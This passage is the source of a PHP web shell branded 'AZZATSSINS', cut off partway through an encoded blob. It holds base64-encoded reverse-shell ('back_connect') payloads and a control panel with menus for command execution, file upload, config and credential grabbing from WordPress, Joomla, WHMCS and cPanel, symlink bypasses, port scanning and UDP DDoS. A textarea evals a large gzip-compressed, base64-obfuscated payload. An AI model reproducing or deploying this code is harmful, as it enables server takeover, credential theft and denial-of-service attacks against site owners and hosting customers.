623$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
624$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
625?>
626<html><head>
627<title>
628 :: AZZATSSINS ::
629</title>
630
631<script type="text/javascript">
632function tukar(lama,baru){
633document.getElementById(lama).style.display = 'none';
634document.getElementById(baru).style.display = 'block';
635 }
636function blink() {
637var blinks = document.getElementsByTagName('kelip');
638for (var i = blinks.length - 1; i >= 0; i--) {
639var s = blinks[i];
640s.style.visibility = (s.style.visibility === 'visible') ? 'hidden' : 'visible';
641}
642window.setTimeout(blink, 500);
643}
644if (document.addEventListener) document.addEventListener("DOMContentLoaded", blink, false);
645else if (window.addEventListener) window.addEventListener("load", blink, false);
646else if (window.attachEvent) window.attachEvent("onload", blink);
647else window.onload = blink;
648</script>
649
650<style type="text/css">
651body{
652background:silver;
653}
654
655a { text-decoration:none; }
656a:hover{ border-bottom:1px solid white; }
657
658*{ font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF; }
659
660#menu{ background:#616161;margin:8px 2px 4px 2px; }
661
662#menu a{ padding:4px 18px;
663margin:0;
664
665background:silver;
666text-decoration:none;
667letter-spacing:2px;
668border-radius: 4px;
669border-bottom:2px solid #444444;
670border-top:2px solid #444444;
671border-right:2px solid red;
672border-left:2px solid red;
673}
674
675#menu a:hover{
676background:#616161;
677border-radius: 7px;
678border-bottom:2px solid #white;
679border-top:2px solid #white;
680border-right:2px solid #FF0000;
681border-left:2px solid #FF0000;
682}
683
684.tabnet{ margin:15px auto 0 auto;border: 1px solid #333333; }
685
686.main {
687width:90%;
688margin:30px auto 10px;
689padding:10px 10px 5px 10px;
690border-radius:5px;
691-moz-border-radius:5px;
692-moz-box-shadow:0px 0px 10px #FFFFFF;
693}
694
695.gaya { color: red; }
696
697.gaya a { color: white; }
698
699.inputz{ background:#111111;
700border:0;
701padding:2px;
702border-bottom:1px solid #FF0000;
703border-top:1px solid #FF0000; }
704
705.inputzbut{
706background:#616161;
707color:#FF0000;
708margin:0 4px;
709border:1px solid #444444;
710border-bottom:1px solid #FF0000;
711border-top:1px solid #FF0000;
712border-right:1px solid #FF0000;
713border-left:1px solid #FF0000;
714}
715
716.inputz:hover, .inputzbut:hover{
717border-bottom:1px solid white;
718border-top:1px solid white;
719}
720
721.output { margin:auto;
722border:1px solid #FF0000;
723width:100%;
724height:400px;
725background:#000000;
726padding:0 2px; }
727
728.cmdbox{ width:100%; }
729
730.head_info{ padding: 0 4px; }
731
732.dminfox {
733font-size:11px;
734font-family:Tahoma,Verdana,Arial;
735color:white;
736}
737
738.infodmx {
739font-size:11px;
740font-family:Tahoma,Verdana,Arial;
741color:red;
742}
743
744.b0{
745font-size:30px;padding:0;color:#444444;
746}
747.b1{
748font-size:25px;padding:0;color:red;
749}
750.b2{
751font-size:25px;padding:0;color:white;
752}
753.b3{
754font-size:10px;padding:0;color:red;
755}
756.b4{
757font-size:20px;padding:0;color:#FF0000;
758}
759.b5{
760font-size:20px;padding:0;color:#FFFFFF;
761}
762.b6{
763font-size:20px;padding:0;color:#00FF00;
764}
765.b7{
766font-size:20px;padding:0;color:red;
767}
768.b8{
769font-size:20px;padding:0;color:white;
770}
771.b9{
772font-size:20px;padding:0;color:yellow;
773}
774.b10{
775font-size:20px;padding:0;color:#444444;
776}
777.b11{
778font-size:10px;padding:0;color:yellow;
779}
780.b12{
781font-size:10px;padding:0;color:#444444;
782}
783
784.b_tbl{ text-align:center;
785margin:0 1px 0 0;
786padding:0 1px 0 0;
787border-right:1px solid #333333; }
788
789.c_tbl{ text-align:center;
790margin:0 4px 0 0;
791padding:0 4px 0 0;
792border-left:1px solid #333333; }
793
794.phpinfo table{ width:100%;
795padding:0 0 0 0; }
796
797.phpinfo td{ background:#191919;
798color:#cccccc;
799padding:6px 8px;; }
800
801.phpinfo th, th{ background:#111111;
802border-bottom:1px solid #333333;
803font-weight:normal; }
804
805.phpinfo h2, .phpinfo h2 a{ text-align:center;
806font-size:16px;
807padding:0;
808margin:30px 0 0 0;
809background:#222222;
810padding:4px 0; }
811
812.explore{ width:100%; }
813
814.explore a { text-decoration:none; }
815.explore td{ border-bottom:1px solid white;
816padding:0 8px;
817line-height:10px; }
818
819.explore th{ padding:3px 8px;
820font-weight:normal; }
821
822.explore th:hover , .phpinfo th:hover{ border-bottom:1px solid white; }
823
824.explore tr:hover{ background:616161;
825cursor:pointer; }
826
827.viewfile{ background:#EDECEB;
828color:#000000;
829margin:4px 2px;
830padding:8px; }
831
832.sembunyi{ display:none;
833padding:0;margin:0;}
834
835.info{ background:#111111;
836width:99%;
837padding:5px;
838margin:10px auto 5px;
839text-align:center;
840font-size:13px;}
841
842.info a{ font-size:14px;}
843.info span{ font-size:14px;}
844.jaya{ margin:5px; text-align:right; }
845</style>
846</head>
847<body onLoad="document.getElementById('cmd').focus();">
848<div class="main"><div class="head_info">
849<table><tr><td>
850
851<table class="b_tbl">
852<tr><td>
853<a href="?"><img src="https://lh3.googleusercontent.com/-qg8PY7S9LsM/VtENkUuLg8I/AAAAAAAAAPE/7PnXFF4-3n0/w480-h480/AZZATSSINS.png" width="140" heigth="125"></a>
854</td></tr>
855<tr><td>
856<nobr><b><span class="b1">AZZAT</span><span class="b2">SSINS</span></b></a></nobr>
857</td></tr>
858<tr><td>
859<nobr><b><span style=font-size:15px;padding:0;color:#444444;">Silver Hood</span></b></nobr>
860</td></tr>
861</table>
862</td>
863<td><?php echo $buff; ?></td>
864
865</tr></table></div>
866
867
868<!-- ARE YOU READY ? :D -->
869
870 <!-- 1 -->
871 <!-- 2 -->
872<!-- 3 -->
873
874<!-- LET'S PLAY THE MUSIC :D -->
875
876<br><br>
877<div id="menu" align="center">
878<table><tr>
879<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>">HOME</a></b></td>
880<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=".$pwd; ?>&x=phpinfo">PHP INFO</a></b></td>
881 <td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=mysql1">MYSQL I</a></b></td>
882<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=mysql2">MYSQL II</a></b></td>
883<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=upload">UPLOAD</a></b></td>
884<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=mail">MAILER</a></b></td>
885</tr></table></div>
886
887<!-- Let's Make A Little Command For Safety First :) -->
888
889<div id="menu" align="center">
890<table><tr>
891<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=php">EVAL</a></b></td>
892<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=shell">SHELL</a></b></td>
893<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=dmsec1">HTACCESS</a></b></td>
894<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=dmsec2">PHP.INI</a></b></td>
895<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=dmsec3">BASEDIR</a></b></td>
896<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=dmsec4">PROCESS</a></b></td>
897<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=netsploit">NETSPLOIT</a></b></td>
898</tr></table></div>
899
900<!-- Next You Always Say This Is Config Fvcker -->
901<!-- Oh Yeah Honey :* Please Don't Tell Everybody If You Will Fucking Me Now :* -->
902
903<div id="menu" align="center"><table><tr>
904<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=jumping">JUMP</a></b></td>
905<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=grabber">GRAB</a></b></td>
906<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=ckperl">PERL</a></b></td>
907<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=apache">APACHE</a></b></td>
908<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=hostgator">HOSTGATOR</a></b></td>
909<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=bluehost">BLUEHOST</a></b></td>
910<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=ovh">OVH</a></b></td>
911<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=litespeed">LITESPEED</a></b></td>
912</tr></table></div>
913
914<!-- Are You Like Symlink Methode ? Haha :D Funny LoL -->
915
916<div id="menu" align="center"><table><tr>
917<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=azzatssym">SYMLINK</a></b></nobr></td>
918<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=azzatssym1">SYMLINK1</a></b></nobr></td>
919<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=azzatssym2">SYMLINK2</a></b></nobr></td>
920<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=azzatssym3">SYMLINK3</a></b></nobr></td>
921<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=azzatssym4">SYMLINK4</a></b></nobr></td>
922<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=azzatssym5">SYMLINK5</a></b></nobr></td>
923<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=azzatssym6">SYMLINK6</a></b></nobr></td>
924</tr></table></div>
925
926<!-- Hhmmm... Are You Like WHMCS ? -->
927<!-- Haha Me Too :D Think Again Dude -->
928<!-- If You And Me Like WHMCS, WHO WE ARE ;D Lolers? -->
929
930<div id="menu" align="center"><table><tr>
931<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=whmcs1">WHMCS</a></b></td>
932<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=whmcs2">WHMCS II</a></b></td>
933<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=whmcskill">WHMKILL</a></b></td>
934<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=plesk">PLESK</a></b></td>
935<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=reseller">RESELLER</a></b></td>
936<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=crypter">ENCRYPT</a></b></td>
937<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=cgi2012">CGI2012</a></b></td>
938</tr></table></div>
939
940<!-- How About This Man ? -->
941<!-- nanana yayaya lalala enjoy the cms ;v -->
942
943<div id="menu" align="center"><table><tr>
944<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=configrab">CONFIGRAB</a></b></td>
945<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=cpanel">CPANEL</a></b></td>
946<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=iis7">IIS 7.5</a></b></td>
947<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=dmwp">WP</a></b></td>
948<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=dmjm">JOOMLA</a></b></td>
949<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=dmvb">VB</a></b></td>
950<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=skype">SKYPE</a></b></td>
951 </tr></table></div>
952
953 <!-- Sexy Women Sexy On Your Bed :D wkwkwk -->
954
955<div id="menu" align="center"><table><tr>
956<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=unzip">UNZIP</a></b></td>
957<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=coding">ENCODE</a></b></td>
958<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=analyzer">ANALYZER</a></b></td>
959<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=tools">OTHER TOOLS</a></b></td>
960</tr></table></div>
961
962<!-- Maybe This Can Help You :) -->
963
964<div id="menu" align="center"><table><tr>
965<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=sscan">SHELL SCAN</a></b></td>
966<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=pscan">PORT SCAN</a></b></td>
967<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=ddos">UDP DDOS</a></b></td></tr></table></div>
968
969<!-- Last Songs From EviLolers -->
970
971<div id="menu" align="center"><table><tr>
972<td style=\"text-align:center;\"><b><a href="?<?php echo "azzatssins=" . $pwd; ?>&x=about">ABOUT ME</a></b></td>
973<td style=\"text-align:center;\"><b><a href="?<?phwd; ?>&x=dead">KILL SHELL</a></b></td>
974</tr></table></div>
975
976
977
978<?php
979if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
980<form action="?azzatssins=<?php echo $pwd; ?>&x=php" method="post">
981<table class="cmdbox"><tr><td>
982<textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('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